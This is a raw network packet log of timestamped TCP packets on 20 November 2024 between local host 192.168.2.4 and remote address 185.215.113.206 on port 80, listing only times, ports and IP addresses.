Nov 20, 2024 12:57:56.608072996 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.608072996 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.608237028 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.608366013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608377934 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608386993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608397007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608407021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608417034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608427048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608434916 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.608434916 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.608438969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608470917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.608470917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.608666897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608679056 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608833075 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608843088 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608853102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.608865976 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.608865976 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609016895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609029055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609039068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609049082 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609057903 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609057903 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609059095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609071016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609081030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609091997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609101057 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609101057 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609324932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609489918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609500885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609510899 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609548092 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609548092 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609642982 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609653950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609668970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609678984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609688997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609697104 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609697104 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609738111 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609738111 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609780073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609791040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609801054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609812021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609822989 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609833002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609833002 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609833002 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609847069 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609857082 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609868050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609872103 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609872103 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609945059 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609956026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609970093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.609981060 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.609981060 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.610402107 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.610618114 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.610630035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.610640049 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.610677958 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.610677958 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.610780954 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.610791922 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.610801935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.610811949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.610821962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.610831022 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.610832930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.610866070 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.610866070 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611047983 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611057997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611068010 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611177921 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611196995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611208916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611218929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611251116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611251116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611536026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611547947 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611557961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611571074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611579895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611592054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611593008 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611593008 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611634016 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611634016 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611663103 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611674070 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611682892 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611691952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611702919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611727953 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611727953 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611799002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611809969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611819983 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611829996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611835957 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611835957 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611841917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.611880064 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.611880064 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612199068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612210035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612219095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612261057 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612261057 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612370014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612380981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612389088 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612399101 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612420082 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612428904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612436056 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612436056 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612441063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612452984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612462997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612473011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612482071 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612482071 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612484932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612531900 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612531900 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612596035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612607002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612617016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612627029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612637997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612647057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612656116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612659931 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612659931 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612668037 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612679005 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612689018 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612690926 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612699986 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612709999 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612720966 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.612730026 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612730026 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612768888 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.612768888 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.695487022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.695502043 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.695513010 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.695586920 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.695611000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.695621967 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.695632935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.695667028 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.695667028 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.695777893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.695794106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.695804119 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.695813894 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.695816040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.695975065 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.696012020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696022034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696032047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696041107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696049929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696078062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.696078062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.696346998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696357012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696366072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696374893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696382999 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.696386099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696419954 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.696419954 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.696788073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696796894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696806908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696815968 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696826935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696860075 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.696860075 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.696933985 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696943045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696953058 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696963072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696974039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.696991920 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.696991920 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.697213888 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697222948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697232008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697242022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697252035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697266102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.697266102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.697307110 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.697307110 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.697351933 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697362900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697371960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697377920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697419882 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.697419882 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.697674036 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697684050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697745085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.697745085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.697797060 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697808981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.697849035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.697849035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.697990894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698000908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698010921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698020935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698030949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698040962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698048115 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698048115 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698050976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698062897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698071957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698081970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698091030 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698091030 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698095083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698127031 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698127031 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698587894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698597908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698657990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698657990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698740005 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698750019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698760033 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698770046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698780060 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698790073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698797941 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698797941 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698798895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698810101 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698841095 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698841095 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698896885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698909044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:56.698947906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.698949099 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.822783947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:56.828732967 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.040658951 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.040697098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.040707111 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.040754080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.040765047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.040882111 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.040885925 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.040882111 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.040882111 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.040896893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.040908098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.040930033 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.040992975 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041059971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041069984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041079998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041089058 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041098118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041109085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041117907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041117907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041171074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041356087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041366100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041378021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041388988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041420937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041420937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041455030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041465998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041476011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041486979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041493893 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041493893 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041523933 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041523933 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041693926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041706085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041716099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041726112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041737080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041743040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041749954 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041759968 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041760921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041774035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.041807890 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041807890 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.041838884 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042040110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042052031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042062044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042072058 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042084932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042115927 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042115927 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042136908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042329073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042340994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042350054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042361975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042371988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042382956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042392969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042402029 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042402029 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042403936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042416096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042442083 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042442083 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042459965 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:57.042783022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042799950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042809963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:57.042821884 CET	80	49756	185.215.113.206	192.168.2.4
